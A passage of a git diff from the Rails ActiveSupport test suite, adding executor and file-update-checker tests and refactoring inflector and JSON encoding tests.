/Rails.root/app/helpers + ).map { |path| pn(path) } + + assert_equal paths, @ph.filter_out_descendants(paths) + end + + test '#filter_out_descendants filters out descendants preserving order' do + paths = %w( + /Rails.root/app/controllers + /Rails.root/app/controllers/concerns + /Rails.root/app/models + /Rails.root/app/models/concerns + /Rails.root/app/helpers + ).map { |path| pn(path) } + + assert_equal paths.values_at(0, 2, 4), @ph.filter_out_descendants(paths) + end + + test '#filter_out_descendants works on path units' do + paths = %w( + /foo/bar + /foo/barrrr + ).map { |path| pn(path) } + + assert_equal paths, @ph.filter_out_descendants(paths) + end + + test '#filter_out_descendants deals correctly with the root directory' do + paths = %w( + / + /foo + /foo/bar + ).map { |path| pn(path) } + + assert_equal paths.values_at(0), @ph.filter_out_descendants(paths) + end + + test '#filter_out_descendants preserves duplicates' do + paths = %w( + /foo + /foo/bar + /foo + ).map { |path| pn(path) } + + assert_equal paths.values_at(0, 2), @ph.filter_out_descendants(paths) + end +end diff --git a/activesupport/test/executor_test.rb b/activesupport/test/executor_test.rb new file mode 100644 index 0000000000..d9b389461a --- /dev/null +++ b/activesupport/test/executor_test.rb @@ -0,0 +1,183 @@ +require 'abstract_unit' + +class ExecutorTest < ActiveSupport::TestCase + class DummyError < RuntimeError + end + + def test_wrap_invokes_callbacks + called = [] + executor.to_run { called << :run } + executor.to_complete { called << :complete } + + executor.wrap do + called << :body + end + + assert_equal [:run, :body, :complete], called + end + + def test_callbacks_share_state + result = false + executor.to_run { @foo = true } + executor.to_complete { result = @foo } + + executor.wrap { } + + assert result + end + + def test_separated_calls_invoke_callbacks + called = [] + executor.to_run { called << :run } + executor.to_complete { called << :complete } + + state = executor.run! + called << :body + state.complete! + + assert_equal [:run, :body, :complete], called + end + + def test_exceptions_unwind + called = [] + executor.to_run { called << :run_1 } + executor.to_run { raise DummyError } + executor.to_run { called << :run_2 } + executor.to_complete { called << :complete } + + assert_raises(DummyError) do + executor.wrap { called << :body } + end + + assert_equal [:run_1, :complete], called + end + + def test_avoids_double_wrapping + called = [] + executor.to_run { called << :run } + executor.to_complete { called << :complete } + + executor.wrap do + called << :early + executor.wrap do + called << :body + end + called << :late + end + + assert_equal [:run, :early, :body, :late, :complete], called + end + + def test_hooks_carry_state + supplied_state = :none + + hook = Class.new do + define_method(:run) do + :some_state + end + + define_method(:complete) do |state| + supplied_state = state + end + end.new + + executor.register_hook(hook) + + executor.wrap { } + + assert_equal :some_state, supplied_state + end + + def test_nil_state_is_sufficient + supplied_state = :none + + hook = Class.new do + define_method(:run) do + nil + end + + define_method(:complete) do |state| + supplied_state = state + end + end.new + + executor.register_hook(hook) + + executor.wrap { } + + assert_equal nil, supplied_state + end + + def test_exception_skips_uninvoked_hook + supplied_state = :none + + hook = Class.new do + define_method(:run) do + :some_state + end + + define_method(:complete) do |state| + supplied_state = state + end + end.new + + executor.to_run do + raise DummyError + end + executor.register_hook(hook) + + assert_raises(DummyError) do + executor.wrap { } + end + + assert_equal :none, supplied_state + end + + def test_exception_unwinds_invoked_hook + supplied_state = :none + + hook = Class.new do + define_method(:run) do + :some_state + end + + define_method(:complete) do |state| + supplied_state = state + end + end.new + + executor.register_hook(hook) + executor.to_run do + raise DummyError + end + + assert_raises(DummyError) do + executor.wrap { } + end + + assert_equal :some_state, supplied_state + end + + def test_separate_classes_can_wrap + other_executor = Class.new(ActiveSupport::Executor) + + called = [] + executor.to_run { called << :run } + executor.to_complete { called << :complete } + other_executor.to_run { called << :other_run } + other_executor.to_complete { called << :other_complete } + + executor.wrap do + other_executor.wrap do + called << :body + end + end + + assert_equal [:run, :other_run, :body, :other_complete, :complete], called + end + + private + def executor + @executor ||= Class.new(ActiveSupport::Executor) + end +end diff --git a/activesupport/test/file_update_checker_shared_tests.rb b/activesupport/test/file_update_checker_shared_tests.rb new file mode 100644 index 0000000000..40ae0c7617 --- /dev/null +++ b/activesupport/test/file_update_checker_shared_tests.rb @@ -0,0 +1,260 @@ +require 'fileutils' + +module FileUpdateCheckerSharedTests + extend ActiveSupport::Testing::Declarative + include FileUtils + + def tmpdir + @tmpdir + end + + def tmpfile(name) + File.join(tmpdir, name) + end + + def tmpfiles + @tmpfiles ||= %w(foo.rb bar.rb baz.rb).map { |f| tmpfile(f) } + end + + def run(*args) + capture_exceptions do + Dir.mktmpdir(nil, __dir__) { |dir| @tmpdir = dir; super } + end + end + + test 'should not execute the block if no paths are given' do + silence_warnings { require 'listen' } + i = 0 + + checker = new_checker { i += 1 } + + assert !checker.execute_if_updated + assert_equal 0, i + end + + test 'should not execute the block if no files change' do + i = 0 + + FileUtils.touch(tmpfiles) + + checker = new_checker(tmpfiles) { i += 1 } + + assert !checker.execute_if_updated + assert_equal 0, i + end + + test 'should execute the block once when files are created' do + i = 0 + + checker = new_checker(tmpfiles) { i += 1 } + + touch(tmpfiles) + + assert checker.execute_if_updated + assert_equal 1, i + end + + test 'should execute the block once when files are modified' do + i = 0 + + FileUtils.touch(tmpfiles) + + checker = new_checker(tmpfiles) { i += 1 } + + touch(tmpfiles) + + assert checker.execute_if_updated + assert_equal 1, i + end + + test 'should execute the block once when files are deleted' do + i = 0 + + FileUtils.touch(tmpfiles) + + checker = new_checker(tmpfiles) { i += 1 } + + rm_f(tmpfiles) + + assert checker.execute_if_updated + assert_equal 1, i + end + + + test 'updated should become true when watched files are created' do + i = 0 + + checker = new_checker(tmpfiles) { i += 1 } + assert !checker.updated? + + touch(tmpfiles) + + assert checker.updated? + end + + + test 'updated should become true when watched files are modified' do + i = 0 + + FileUtils.touch(tmpfiles) + + checker = new_checker(tmpfiles) { i += 1 } + assert !checker.updated? + + touch(tmpfiles) + + assert checker.updated? + end + + test 'updated should become true when watched files are deleted' do + i = 0 + + FileUtils.touch(tmpfiles) + + checker = new_checker(tmpfiles) { i += 1 } + assert !checker.updated? + + rm_f(tmpfiles) + + assert checker.updated? + end + + test 'should be robust to handle files with wrong modified time' do + i = 0 + + FileUtils.touch(tmpfiles) + + now = Time.now + time = Time.mktime(now.year + 1, now.month, now.day) # wrong mtime from the future + File.utime(time, time, tmpfiles[0]) + + checker = new_checker(tmpfiles) { i += 1 } + + touch(tmpfiles[1..-1]) + + assert checker.execute_if_updated + assert_equal 1, i + end + + test 'should return max_time for files with mtime = Time.at(0)' do + i = 0 + + FileUtils.touch(tmpfiles) + + time = Time.at(0) # wrong mtime from the future + File.utime(time, time, tmpfiles[0]) + + checker = new_checker(tmpfiles) { i += 1 } + + touch(tmpfiles[1..-1]) + + assert checker.execute_if_updated + assert_equal 1, i + end + + test 'should cache updated result until execute' do + i = 0 + + checker = new_checker(tmpfiles) { i += 1 } + assert !checker.updated? + + touch(tmpfiles) + + assert checker.updated? + checker.execute + assert !checker.updated? + end + + test 'should execute the block if files change in a watched directory one extension' do + i = 0 + + checker = new_checker([], tmpdir => :rb) { i += 1 } + + touch(tmpfile('foo.rb')) + + assert checker.execute_if_updated + assert_equal 1, i + end + + test 'should execute the block if files change in a watched directory several extensions' do + i = 0 + + checker = new_checker([], tmpdir => [:rb, :txt]) { i += 1 } + + touch(tmpfile('foo.rb')) + + assert checker.execute_if_updated + assert_equal 1, i + + touch(tmpfile('foo.txt')) + + assert checker.execute_if_updated + assert_equal 2, i + end + + test 'should not execute the block if the file extension is not watched' do + i = 0 + + checker = new_checker([], tmpdir => :txt) { i += 1 } + + touch(tmpfile('foo.rb')) + + assert !checker.execute_if_updated + assert_equal 0, i + end + + test 'does not assume files exist on instantiation' do + i = 0 + + non_existing = tmpfile('non_existing.rb') + checker = new_checker([non_existing]) { i += 1 } + + touch(non_existing) + + assert checker.execute_if_updated + assert_equal 1, i + end + + test 'detects files in new subdirectories' do + i = 0 + + checker = new_checker([], tmpdir => :rb) { i += 1 } + + subdir = tmpfile('subdir') + mkdir(subdir) + wait + + assert !checker.execute_if_updated + assert_equal 0, i + + touch(File.join(subdir, "nested.rb")) + + assert checker.execute_if_updated + assert_equal 1, i + end + + test 'looked up extensions are inherited in subdirectories not listening to them' do + i = 0 + + subdir = tmpfile('subdir') + mkdir(subdir) + + checker = new_checker([], tmpdir => :rb, subdir => :txt) { i += 1 } + + touch(tmpfile('new.txt')) + + assert !checker.execute_if_updated + assert_equal 0, i + + # subdir does not look for Ruby files, but its parent tmpdir does. + touch(File.join(subdir, "nested.rb")) + + assert checker.execute_if_updated + assert_equal 1, i + + touch(File.join(subdir, "nested.txt")) + + assert checker.execute_if_updated + assert_equal 2, i + end +end diff --git a/activesupport/test/file_update_checker_test.rb b/activesupport/test/file_update_checker_test.rb index bd1df0f858..752f7836cd 100644 --- a/activesupport/test/file_update_checker_test.rb +++ b/activesupport/test/file_update_checker_test.rb @@ -1,112 +1,19 @@ require 'abstract_unit' -require 'fileutils' -require 'thread' +require 'file_update_checker_shared_tests' -MTIME_FIXTURES_PATH = File.expand_path("../fixtures", __FILE__) +class FileUpdateCheckerTest < ActiveSupport::TestCase + include FileUpdateCheckerSharedTests -class FileUpdateCheckerWithEnumerableTest < ActiveSupport::TestCase - FILES = %w(1.txt 2.txt 3.txt) - - def setup - FileUtils.mkdir_p("tmp_watcher") - FileUtils.touch(FILES) - end - - def teardown - FileUtils.rm_rf("tmp_watcher") - FileUtils.rm_rf(FILES) - end - - def test_should_not_execute_the_block_if_no_paths_are_given - i = 0 - checker = ActiveSupport::FileUpdateChecker.new([]){ i += 1 } - checker.execute_if_updated - assert_equal 0, i - end - - def test_should_not_invoke_the_block_if_no_file_has_changed - i = 0 - checker = ActiveSupport::FileUpdateChecker.new(FILES){ i += 1 } - 5.times { assert !checker.execute_if_updated } - assert_equal 0, i - end - - def test_should_invoke_the_block_if_a_file_has_changed - i = 0 - checker = ActiveSupport::FileUpdateChecker.new(FILES){ i += 1 } - sleep(1) - FileUtils.touch(FILES) - assert checker.execute_if_updated - assert_equal 1, i - end - - def test_should_be_robust_enough_to_handle_deleted_files - i = 0 - checker = ActiveSupport::FileUpdateChecker.new(FILES){ i += 1 } - FileUtils.rm(FILES) - assert checker.execute_if_updated - assert_equal 1, i - end - - def test_should_be_robust_to_handle_files_with_wrong_modified_time - i = 0 - now = Time.now - time = Time.mktime(now.year + 1, now.month, now.day) # wrong mtime from the future - File.utime time, time, FILES[2] - - checker = ActiveSupport::FileUpdateChecker.new(FILES){ i += 1 } - - sleep(1) - FileUtils.touch(FILES[0..1]) - - assert checker.execute_if_updated - assert_equal 1, i - end - - def test_should_cache_updated_result_until_execute - i = 0 - checker = ActiveSupport::FileUpdateChecker.new(FILES){ i += 1 } - assert !checker.updated? - - sleep(1) - FileUtils.touch(FILES) - - assert checker.updated? - checker.execute - assert !checker.updated? - end - - def test_should_invoke_the_block_if_a_watched_dir_changed_its_glob - i = 0 - checker = ActiveSupport::FileUpdateChecker.new([], "tmp_watcher" => [:txt]){ i += 1 } - FileUtils.cd "tmp_watcher" do - FileUtils.touch(FILES) - end - assert checker.execute_if_updated - assert_equal 1, i + def new_checker(files = [], dirs = {}, &block) + ActiveSupport::FileUpdateChecker.new(files, dirs, &block) end - def test_should_not_invoke_the_block_if_a_watched_dir_changed_its_glob - i = 0 - checker = ActiveSupport::FileUpdateChecker.new([], "tmp_watcher" => :rb){ i += 1 } - FileUtils.cd "tmp_watcher" do - FileUtils.touch(FILES) - end - assert !checker.execute_if_updated - assert_equal 0, i + def wait + # noop end - def test_should_not_block_if_a_strange_filename_used - FileUtils.mkdir_p("tmp_watcher/valid,yetstrange,path,") - FileUtils.touch(FILES.map { |file_name| "tmp_watcher/valid,yetstrange,path,/#{file_name}" }) - - test = Thread.new do - ActiveSupport::FileUpdateChecker.new([],"tmp_watcher/valid,yetstrange,path," => :txt) { i += 1 } - Thread.exit - end - test.priority = -1 - test.join(5) - - assert !test.alive? + def touch(files) + sleep 1 # let's wait a bit to ensure there's a new mtime + super end end diff --git a/activesupport/test/hash_with_indifferent_access_test.rb b/activesupport/test/hash_with_indifferent_access_test.rb deleted file mode 100644 index 1facd691fa..0000000000 --- a/activesupport/test/hash_with_indifferent_access_test.rb +++ /dev/null @@ -1,11 +0,0 @@ -require 'abstract_unit' -require 'active_support/hash_with_indifferent_access' - -class HashWithIndifferentAccessTest < ActiveSupport::TestCase - def test_reverse_merge - hash = HashWithIndifferentAccess.new key: :old_value - hash.reverse_merge! key: :new_value - assert_equal :old_value, hash[:key] - end - -end diff --git a/activesupport/test/inflector_test.rb b/activesupport/test/inflector_test.rb index be68bb2e2e..06cd41c86d 100644 --- a/activesupport/test/inflector_test.rb +++ b/activesupport/test/inflector_test.rb @@ -8,6 +8,20 @@ class InflectorTest < ActiveSupport::TestCase include InflectorTestCases include ConstantizeTestCases + def setup + # Dups the singleton before each test, restoring the original inflections later. + # + # This helper is implemented by setting @__instance__ because in some tests + # there are module functions that access ActiveSupport::Inflector.inflections, + # so we need to replace the singleton itself. + @original_inflections = ActiveSupport::Inflector::Inflections.instance_variable_get(:@__instance__)[:en] + ActiveSupport::Inflector::Inflections.instance_variable_set(:@__instance__, en: @original_inflections.dup) + end + + def teardown + ActiveSupport::Inflector::Inflections.instance_variable_set(:@__instance__, en: @original_inflections) + end + def test_pluralize_plurals assert_equal "plurals", ActiveSupport::Inflector.pluralize("plurals") assert_equal "Plurals", ActiveSupport::Inflector.pluralize("Plurals") @@ -26,20 +40,18 @@ class InflectorTest < ActiveSupport::TestCase end def test_uncountable_word_is_not_greedy - with_dup do - uncountable_word = "ors" - countable_word = "sponsor" + uncountable_word = "ors" + countable_word = "sponsor" - ActiveSupport::Inflector.inflections.uncountable << uncountable_word + ActiveSupport::Inflector.inflections.uncountable << uncountable_word - assert_equal uncountable_word, ActiveSupport::Inflector.singularize(uncountable_word) - assert_equal uncountable_word, ActiveSupport::Inflector.pluralize(uncountable_word) - assert_equal ActiveSupport::Inflector.pluralize(uncountable_word), ActiveSupport::Inflector.singularize(uncountable_word) + assert_equal uncountable_word, ActiveSupport::Inflector.singularize(uncountable_word) + assert_equal uncountable_word, ActiveSupport::Inflector.pluralize(uncountable_word) + assert_equal ActiveSupport::Inflector.pluralize(uncountable_word), ActiveSupport::Inflector.singularize(uncountable_word) - assert_equal "sponsor", ActiveSupport::Inflector.singularize(countable_word) - assert_equal "sponsors", ActiveSupport::Inflector.pluralize(countable_word) - assert_equal "sponsor", ActiveSupport::Inflector.singularize(ActiveSupport::Inflector.pluralize(countable_word)) - end + assert_equal "sponsor", ActiveSupport::Inflector.singularize(countable_word) + assert_equal "sponsors", ActiveSupport::Inflector.pluralize(countable_word) + assert_equal "sponsor", ActiveSupport::Inflector.singularize(ActiveSupport::Inflector.pluralize(countable_word)) end SingularToPlural.each do |singular, plural| @@ -70,11 +82,9 @@ class InflectorTest < ActiveSupport::TestCase def test_overwrite_previous_inflectors - with_dup do - assert_equal("series", ActiveSupport::Inflector.singularize("series")) - ActiveSupport::Inflector.inflections.singular "series", "serie" - assert_equal("serie", ActiveSupport::Inflector.singularize("series")) - end + assert_equal("series", ActiveSupport::Inflector.singularize("series")) + ActiveSupport::Inflector.inflections.singular "series", "serie" + assert_equal("serie", ActiveSupport::Inflector.singularize("series")) end MixtureToTitleCase.each_with_index do |(before, titleized), index| @@ -259,14 +269,32 @@ class InflectorTest < ActiveSupport::TestCase def test_parameterize_with_custom_separator jruby_skip "UTF-8 to UTF8-MAC Converter is unavailable" StringToParameterizeWithUnderscore.each do |some_string, parameterized_string| - assert_equal(parameterized_string, ActiveSupport::Inflector.parameterize(some_string, '_')) + assert_equal(parameterized_string, ActiveSupport::Inflector.parameterize(some_string, separator: '_')) + end + end + + def test_parameterize_with_custom_separator_deprecated + jruby_skip "UTF-8 to UTF8-MAC Converter is unavailable" + StringToParameterizeWithUnderscore.each do |some_string, parameterized_string| + assert_deprecated(/Passing the separator argument as a positional parameter is deprecated and will soon be removed. Use `separator: '_'` instead./i) do + assert_equal(parameterized_string, ActiveSupport::Inflector.parameterize(some_string, '_')) + end end end def test_parameterize_with_multi_character_separator jruby_skip "UTF-8 to UTF8-MAC Converter is unavailable" StringToParameterized.each do |some_string, parameterized_string| - assert_equal(parameterized_string.gsub('-', '__sep__'), ActiveSupport::Inflector.parameterize(some_string, '__sep__')) + assert_equal(parameterized_string.gsub('-', '__sep__'), ActiveSupport::Inflector.parameterize(some_string, separator: '__sep__')) + end + end + + def test_parameterize_with_multi_character_separator_deprecated + jruby_skip "UTF-8 to UTF8-MAC Converter is unavailable" + StringToParameterized.each do |some_string, parameterized_string| + assert_deprecated(/Passing the separator argument as a positional parameter is deprecated and will soon be removed. Use `separator: '__sep__'` instead./i) do + assert_equal(parameterized_string.gsub('-', '__sep__'), ActiveSupport::Inflector.parameterize(some_string, '__sep__')) + end end end @@ -367,10 +395,8 @@ class InflectorTest < ActiveSupport::TestCase %w{plurals singulars uncountables humans}.each do |inflection_type| class_eval <<-RUBY, __FILE__, __LINE__ + 1 def test_clear_#{inflection_type} - with_dup do - ActiveSupport::Inflector.inflections.clear :#{inflection_type} - assert ActiveSupport::Inflector.inflections.#{inflection_type}.empty?, \"#{inflection_type} inflections should be empty after clear :#{inflection_type}\" - end + ActiveSupport::Inflector.inflections.clear :#{inflection_type} + assert ActiveSupport::Inflector.inflections.#{inflection_type}.empty?, \"#{inflection_type} inflections should be empty after clear :#{inflection_type}\" end RUBY end @@ -405,73 +431,63 @@ class InflectorTest < ActiveSupport::TestCase end def test_clear_all - with_dup do - ActiveSupport::Inflector.inflections do |inflect| - # ensure any data is present - inflect.plural(/(quiz)$/i, '\1zes') - inflect.singular(/(database)s$/i, '\1') - inflect.uncountable('series') - inflect.human("col_rpted_bugs", "Reported bugs") - - inflect.clear :all - - assert inflect.plurals.empty? - assert inflect.singulars.empty? - assert inflect.uncountables.empty? - assert inflect.humans.empty? - end + ActiveSupport::Inflector.inflections do |inflect| + # ensure any data is present + inflect.plural(/(quiz)$/i, '\1zes') + inflect.singular(/(database)s$/i, '\1') + inflect.uncountable('series') + inflect.human("col_rpted_bugs", "Reported bugs") + + inflect.clear :all + + assert inflect.plurals.empty? + assert inflect.singulars.empty? + assert inflect.uncountables.empty? + assert inflect.humans.empty? end end def test_clear_with_default - with_dup do - ActiveSupport::Inflector.inflections do |inflect| - # ensure any data is present - inflect.plural(/(quiz)$/i, '\1zes') - inflect.singular(/(database)s$/i, '\1') - inflect.uncountable('series') - inflect.human("col_rpted_bugs", "Reported bugs") - - inflect.clear - - assert inflect.plurals.empty? - assert inflect.singulars.empty? - assert inflect.uncountables.empty? - assert inflect.humans.empty? - end + ActiveSupport::Inflector.inflections do |inflect| + # ensure any data is present + inflect.plural(/(quiz)$/i, '\1zes') + inflect.singular(/(database)s$/i, '\1') + inflect.uncountable('series') + inflect.human("col_rpted_bugs", "Reported bugs") + + inflect.clear + + assert inflect.plurals.empty? + assert inflect.singulars.empty? + assert inflect.uncountables.empty? + assert inflect.humans.empty? end end Irregularities.each do |singular, plural| define_method("test_irregularity_between_#{singular}_and_#{plural}") do - with_dup do - ActiveSupport::Inflector.inflections do |inflect| - inflect.irregular(singular, plural) - assert_equal singular, ActiveSupport::Inflector.singularize(plural) - assert_equal plural, ActiveSupport::Inflector.pluralize(singular) - end + ActiveSupport::Inflector.inflections do |inflect| + inflect.irregular(singular, plural) + assert_equal singular, ActiveSupport::Inflector.singularize(plural) + assert_equal plural, ActiveSupport::Inflector.pluralize(singular) end end end Irregularities.each do |singular, plural| define_method("test_pluralize_of_irregularity_#{plural}_should_be_the_same") do - with_dup do - ActiveSupport::Inflector.inflections do |inflect| - inflect.irregular(singular, plural) - assert_equal plural, ActiveSupport::Inflector.pluralize(plural) - end + ActiveSupport::Inflector.inflections do |inflect| + inflect.irregular(singular, plural) + assert_equal plural, ActiveSupport::Inflector.pluralize(plural) end end end Irregularities.each do |singular, plural| define_method("test_singularize_of_irregularity_#{singular}_should_be_the_same") do - with_dup do - ActiveSupport::Inflector.inflections do |inflect| - inflect.irregular(singular, plural) - assert_equal singular, ActiveSupport::Inflector.singularize(singular) - end + ActiveSupport::Inflector.inflections do |inflect| + inflect.irregular(singular, plural) + assert_equal singular, ActiveSupport::Inflector.singularize(singular) end end end @@ -503,12 +519,10 @@ class InflectorTest < ActiveSupport::TestCase %w(plurals singulars uncountables humans acronyms).each do |scope| define_method("test_clear_inflections_with_#{scope}") do - with_dup do - # clear the inflections - ActiveSupport::Inflector.inflections do |inflect| - inflect.clear(scope) - assert_equal [], inflect.send(scope) - end + # clear the inflections + ActiveSupport::Inflector.inflections do |inflect| + inflect.clear(scope) + assert_equal [], inflect.send(scope) end end end @@ -520,18 +534,4 @@ class InflectorTest < ActiveSupport::TestCase assert_equal "HTTP", ActiveSupport::Inflector.pluralize("HTTP") end - - # Dups the singleton and yields, restoring the original inflections later. - # Use this in tests what modify the state of the singleton. - # - # This helper is implemented by setting @__instance__ because in some tests - # there are module functions that access ActiveSupport::Inflector.inflections, - # so we need to replace the singleton itself. - def with_dup - original = ActiveSupport::Inflector::Inflections.instance_variable_get(:@__instance__)[:en] - ActiveSupport::Inflector::Inflections.instance_variable_set(:@__instance__, en: original.dup) - yield - ensure - ActiveSupport::Inflector::Inflections.instance_variable_set(:@__instance__, en: original) - end end diff --git a/activesupport/test/inflector_test_cases.rb b/activesupport/test/inflector_test_cases.rb index 4f7f92ef18..c7dc1dadb6 100644 --- a/activesupport/test/inflector_test_cases.rb +++ b/activesupport/test/inflector_test_cases.rb @@ -1,4 +1,3 @@ - module InflectorTestCases SingularToPlural = { "search" => "searches", @@ -175,6 +174,17 @@ module InflectorTestCases "Test with malformed utf8 \251" => "test-with-malformed-utf8" } + StringToParameterizedPreserveCase = { + "Donald E. Knuth" => "Donald-E-Knuth", + "Random text with *(bad)* characters" => "Random-text-with-bad-characters", + "Allow_Under_Scores" => "Allow_Under_Scores", + "Trailing bad characters!@#" => "Trailing-bad-characters", + "!@#Leading bad characters" => "Leading-bad-characters", + "Squeeze separators" => "Squeeze-separators", + "Test with + sign" => "Test-with-sign", + "Test with malformed utf8 \xA9" => "Test-with-malformed-utf8" + } + StringToParameterizeWithNoSeparator = { "Donald E. Knuth" => "donaldeknuth", "With-some-dashes" => "with-some-dashes", @@ -186,6 +196,17 @@ module InflectorTestCases "Test with malformed utf8 \251" => "testwithmalformedutf8" } + StringToParameterizePreserveCaseWithNoSeparator = { + "Donald E. Knuth" => "DonaldEKnuth", + "With-some-dashes" => "With-some-dashes", + "Random text with *(bad)* characters" => "Randomtextwithbadcharacters", + "Trailing bad characters!@#" => "Trailingbadcharacters", + "!@#Leading bad characters" => "Leadingbadcharacters", + "Squeeze separators" => "Squeezeseparators", + "Test with + sign" => "Testwithsign", + "Test with malformed utf8 \xA9" => "Testwithmalformedutf8" + } + StringToParameterizeWithUnderscore = { "Donald E. Knuth" => "donald_e_knuth", "Random text with *(bad)* characters" => "random_text_with_bad_characters", @@ -198,6 +219,18 @@ module InflectorTestCases "Test with malformed utf8 \251" => "test_with_malformed_utf8" } + StringToParameterizePreserceCaseWithUnderscore = { + "Donald E. Knuth" => "Donald_E_Knuth", + "Random text with *(bad)* characters" => "Random_text_with_bad_characters", + "With-some-dashes" => "With-some-dashes", + "Allow_Under_Scores" => "Allow_Under_Scores", + "Trailing bad characters!@#" => "Trailing_bad_characters", + "!@#Leading bad characters" => "Leading_bad_characters", + "Squeeze separators" => "Squeeze_separators", + "Test with + sign" => "Test_with_sign", + "Test with malformed utf8 \xA9" => "Test_with_malformed_utf8" + } + StringToParameterizedAndNormalized = { "Malmö" => "malmo", "Garçons" => "garcons", diff --git a/activesupport/test/json/encoding_test.rb b/activesupport/test/json/encoding_test.rb index 2f269a66f0..5fc2e16336 100644 --- a/activesupport/test/json/encoding_test.rb +++ b/activesupport/test/json/encoding_test.rb @@ -4,122 +4,24 @@ require 'active_support/core_ext/string/inflections' require 'active_support/json' require 'active_support/time' require 'time_zone_test_helpers' +require 'json/encoding_test_cases' class TestJSONEncoding < ActiveSupport::TestCase include TimeZoneTestHelpers - class Foo - def initialize(a, b) - @a, @b = a, b - end - end - - class Hashlike - def to_hash - { :foo => "hello", :bar => "world" } - end - end - - class Custom - def initialize(serialized) - @serialized = serialized - end - - def as_json(options = nil) - @serialized - end - end - - class CustomWithOptions - attr_accessor :foo, :bar - - def as_json(options={}) - options[:only] = %w(foo bar) - super(options) - end - end - - class OptionsTest - def as_json(options = :default) - options - end - end - - class HashWithAsJson < Hash - attr_accessor :as_json_called - - def initialize(*) - super - end - - def as_json(options={}) - @as_json_called = true - super - end - end - - TrueTests = [[ true, %(true) ]] - FalseTests = [[ false, %(false) ]] - NilTests = [[ nil, %(null) ]] - NumericTests = [[ 1, %(1) ], - [ 2.5, %(2.5) ], - [ 0.0/0.0, %(null) ], - [ 1.0/0.0, %(null) ], - [ -1.0/0.0, %(null) ], - [ BigDecimal('0.0')/BigDecimal('0.0'), %(null) ], - [ BigDecimal('2.5'), %("#{BigDecimal('2.5')}") ]] - - StringTests = [[ 'this is the <string>', %("this is the \\u003cstring\\u003e")], - [ 'a "string" with quotes & an ampersand', %("a \\"string\\" with quotes \\u0026 an ampersand") ], - [ 'http://test.host/posts/1', %("http://test.host/posts/1")], - [ "Control characters: \x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\u2028\u2029", - %("Control characters: \\u0000\\u0001\\u0002\\u0003\\u0004\\u0005\\u0006\\u0007\\b\\t\\n\\u000b\\f\\r\\u000e\\u000f\\u0010\\u0011\\u0012\\u0013\\u0014\\u0015\\u0016\\u0017\\u0018\\u0019\\u001a\\u001b\\u001c\\u001d\\u001e\\u001f\\u2028\\u2029") ]] - - ArrayTests = [[ ['a', 'b', 'c'], %([\"a\",\"b\",\"c\"]) ], - [ [1, 'a', :b, nil, false], %([1,\"a\",\"b\",null,false]) ]] - - RangeTests = [[ 1..2, %("1..2")], - [ 1...2, %("1...2")], - [ 1.5..2.5, %("1.5..2.5")]] - - SymbolTests = [[ :a, %("a") ], - [ :this, %("this") ], - [ :"a b", %("a b") ]] - - ObjectTests = [[ Foo.new(1, 2), %({\"a\":1,\"b\":2}) ]] - HashlikeTests = [[ Hashlike.new, %({\"bar\":\"world\",\"foo\":\"hello\"}) ]] - CustomTests = [[ Custom.new("custom"), '"custom"' ], - [ Custom.new(nil), 'null' ], - [ Custom.new(:a), '"a"' ], - [ Custom.new([ :foo, "bar" ]), '["foo","bar"]' ], - [ Custom.new({ :foo => "hello", :bar => "world" }), '{"bar":"world","foo":"hello"}' ], - [ Custom.new(Hashlike.new), '{"bar":"world","foo":"hello"}' ], - [ Custom.new(Custom.new(Custom.new(:a))), '"a"' ]] - - RegexpTests = [[ /^a/, '"(?-mix:^a)"' ], [/^\w{1,2}[a-z]+/ix, '"(?ix-m:^\\\\w{1,2}[a-z]+)"']] - - DateTests = [[ Date.new(2005,2,1), %("2005/02/01") ]] - TimeTests = [[ Time.utc(2005,2,1,15,15,10), %("2005/02/01 15:15:10 +0000") ]] - DateTimeTests = [[ DateTime.civil(2005,2,1,15,15,10), %("2005/02/01 15:15:10 +0000") ]] - - StandardDateTests = [[ Date.new(2005,2,1), %("2005-02-01") ]] - StandardTimeTests = [[ Time.utc(2005,2,1,15,15,10), %("2005-02-01T15:15:10.000Z") ]] - StandardDateTimeTests = [[ DateTime.civil(2005,2,1,15,15,10), %("2005-02-01T15:15:10.000+00:00") ]] - StandardStringTests = [[ 'this is the <string>', %("this is the <string>")]] - def sorted_json(json) return json unless json =~ /^\{.*\}$/ '{' + json[1..-2].split(',').sort.join(',') + '}' end - constants.grep(/Tests$/).each do |class_tests| + JSONTest::EncodingTestCases.constants.each do |class_tests| define_method("test_#{class_tests[0..-6].underscore}") do begin prev = ActiveSupport.use_standard_json_time_format ActiveSupport.escape_html_entities_in_json = class_tests !~ /^Standard/ ActiveSupport.use_standard_json_time_format = class_tests =~ /^Standard/ - self.class.const_get(class_tests).each do |pair| + JSONTest::EncodingTestCases.const_get(class_tests).each do |pair| assert_equal pair.last, sorted_json(ActiveSupport::JSON.encode(pair.first)) end ensure @@ -147,6 +49,13 @@ class TestJSONEncoding < ActiveSupport::TestCase assert_equal %({\"a\":\"b\",\"c\":\"d\"}), sorted_json(ActiveSupport::JSON.encode(:a => :b, :c => :d)) end + def test_hash_keys_encoding + ActiveSupport.escape_html_entities_in_json = true + assert_equal "{\"\\u003c\\u003e\":\"\\u003c\\u003e\"}", ActiveSupport::JSON.encode("<>" => "<>") + ensure + ActiveSupport.escape_html_entities_in_json = false + end + def test_utf8_string_encoded_properly result = ActiveSupport::JSON.encode('€2.99') assert_equal '"€2.99"', result @@ -217,7 +126,7 @@ class TestJSONEncoding < ActiveSupport::TestCase end def test_hash_like_with_options - h = Hashlike.new + h = JSONTest::Hashlike.new json = h.to_json :only => [:foo] assert_equal({"foo"=>"hello"}, JSON.parse(json)) @@ -338,6 +247,15 @@ class TestJSONEncoding < ActiveSupport::TestCase assert_equal(%([{"address":{"city":"London"}},{"address":{"city":"Paris"}}]), json) end + class CustomWithOptions + attr_accessor :foo, :bar + + def as_json(options={}) + options[:only] = %w(foo bar) + super(options) + end + end + def test_hash_to_json_should_not_keep_options_around f = CustomWithOptions.new f.foo = "hello" @@ -358,6 +276,12 @@ class TestJSONEncoding < ActiveSupport::TestCase {"foo"=>"other_foo","test"=>"other_test"}], ActiveSupport::JSON.decode(array.to_json)) end + class OptionsTest + def as_json(options = :default) + options + end + end + def test_hash_as_json_without_options json = { foo: OptionsTest.new }.as_json assert_equal({"foo" => :default}, json) @@ -405,6 +329,19 @@ class TestJSONEncoding < ActiveSupport::TestCase assert_equal false, false.as_json end + class HashWithAsJson < Hash + attr_accessor 